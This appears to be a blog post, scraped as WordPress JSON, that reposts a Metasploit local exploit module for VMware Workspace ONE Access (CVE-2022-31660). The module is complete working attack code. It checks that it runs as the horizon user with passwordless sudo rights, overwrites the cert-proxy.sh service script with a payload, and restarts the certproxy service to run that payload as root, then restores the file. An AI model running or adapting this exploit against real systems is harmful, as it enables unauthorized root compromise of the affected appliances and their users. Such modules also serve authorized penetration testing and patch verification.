##
\n# This module requires Metasploit: https:\/\/metasploit.com\/download
\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
\n##<\/p>\n
class MetasploitModule < Msf::Exploit::Local
\nRank = ExcellentRanking<\/p>\n
include Msf::Exploit::EXE
\ninclude Msf::Post::File
\ninclude Msf::Post::Unix<\/p>\n
TARGET_FILE = ‘\/opt\/vmware\/certproxy\/bin\/cert-proxy.sh’.freeze<\/p>\n
def initialize(info = {})
\nsuper(
\nupdate_info(
\ninfo,
\n{
\n‘Name’ => ‘VMware Workspace ONE Access CVE-2022-31660’,
\n‘Description’ => %q{
\nVMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges
\nto those of the root user by modifying a file and then restarting the vmware-certproxy service which
\ninvokes it. The service control is permitted via the sudo configuration without a password.
\n},
\n‘License’ => MSF_LICENSE,
\n‘Author’ => [
\n‘Spencer McIntyre’
\n],
\n‘Platform’ => [ ‘linux’, ‘unix’ ],
\n‘Arch’ => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
\n‘SessionTypes’ => [‘shell’, ‘meterpreter’],
\n‘Targets’ => [
\n[ ‘Automatic’, {} ],
\n],
\n‘DefaultOptions’ => {
\n‘PrependFork’ => true,
\n‘MeterpreterTryToFork’ => true
\n},
\n‘Privileged’ => true,
\n‘DefaultTarget’ => 0,
\n‘References’ => [
\n[ ‘CVE’, ‘2022-31660’ ],
\n[ ‘URL’, ‘https:\/\/www.vmware.com\/security\/advisories\/VMSA-2022-0021.html’ ]\n],
\n‘DisclosureDate’ => ‘2022-08-02’,
\n‘Notes’ => {
\n# We’re corrupting the vmware-certproxy service, if restoring the contents fails it won’t work. This service
\n# is disabled by default though.
\n‘Stability’ => [CRASH_SERVICE_DOWN],
\n‘Reliability’ => [REPEATABLE_SESSION],
\n‘SideEffects’ => [ARTIFACTS_ON_DISK]\n}
\n}
\n)
\n)
\nend<\/p>\n
def certproxy_service
\n# this script’s location depends on the version, so find it.
\nreturn @certproxy_service if @certproxy_service<\/p>\n
@certproxy_service = [
\n‘\/usr\/local\/horizon\/scripts\/certproxyService.sh’,
\n‘\/opt\/vmware\/certproxy\/bin\/certproxyService.sh’
\n].find { |path| file?(path) }<\/p>\n
vprint_status(“Found service control script at: #{@certproxy_service}”) if @certproxy_service
\n@certproxy_service
\nend<\/p>\n
def sudo(arguments)
\ncmd_exec(“sudo –non-interactive #{arguments}”)
\nend<\/p>\n
def check
\nunless whoami == ‘horizon’
\nreturn CheckCode::Safe(‘Not running as the horizon user.’)
\nend<\/p>\n
token = Rex::Text.rand_text_alpha(10)
\nunless sudo(“–list ‘#{certproxy_service}’ && echo #{token}”).include?(token)
\nreturn CheckCode::Safe(‘Cannot invoke the service control script with sudo.’)
\nend<\/p>\n
unless writable?(TARGET_FILE)
\nreturn CheckCode::Safe(‘Cannot write to the service file.’)
\nend<\/p>\n
CheckCode::Appears
\nend<\/p>\n
def exploit
\n# backup the original permissions and contents
\nprint_status(‘Backing up the original file…’)
\n@backup = {
\nstat: stat(TARGET_FILE),
\ncontents: read_file(TARGET_FILE)
\n}<\/p>\n
if payload.arch.first == ARCH_CMD
\npayload_data = “#!\/bin\/bash\\n#{payload.encoded}”
\nelse
\npayload_data = generate_payload_exe
\nend
\nupload_and_chmodx(TARGET_FILE, payload_data)
\nprint_status(‘Triggering the payload…’)
\nsudo(“–background #{certproxy_service} restart”)
\nend<\/p>\n
def cleanup
\nreturn unless @backup<\/p>\n
print_status(‘Restoring file contents…’)
\nfile_rm(TARGET_FILE) # it’s necessary to delete the running file before overwriting it
\nwrite_file(TARGET_FILE, @backup[:contents])
\nprint_status(‘Restoring file permissions…’)
\nchmod(TARGET_FILE, @backup[:stat].mode & 0o777)
\nend
\nend<\/p>\n","protected":false},"excerpt":{"rendered":"
## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Unix TARGET_FILE = ‘\/opt\/vmware\/certproxy\/bin\/cert-proxy.sh’.freeze def initialize(info = {}) super( update_info( info, { ‘Name’ => ‘VMware Workspace ONE Access CVE-2022-31660’, ‘Description’ => %q{ VMware Workspace ONE Access contains a vulnerability whereby the …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28929","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28929","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28929"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28929\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28929"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28929"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28929"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}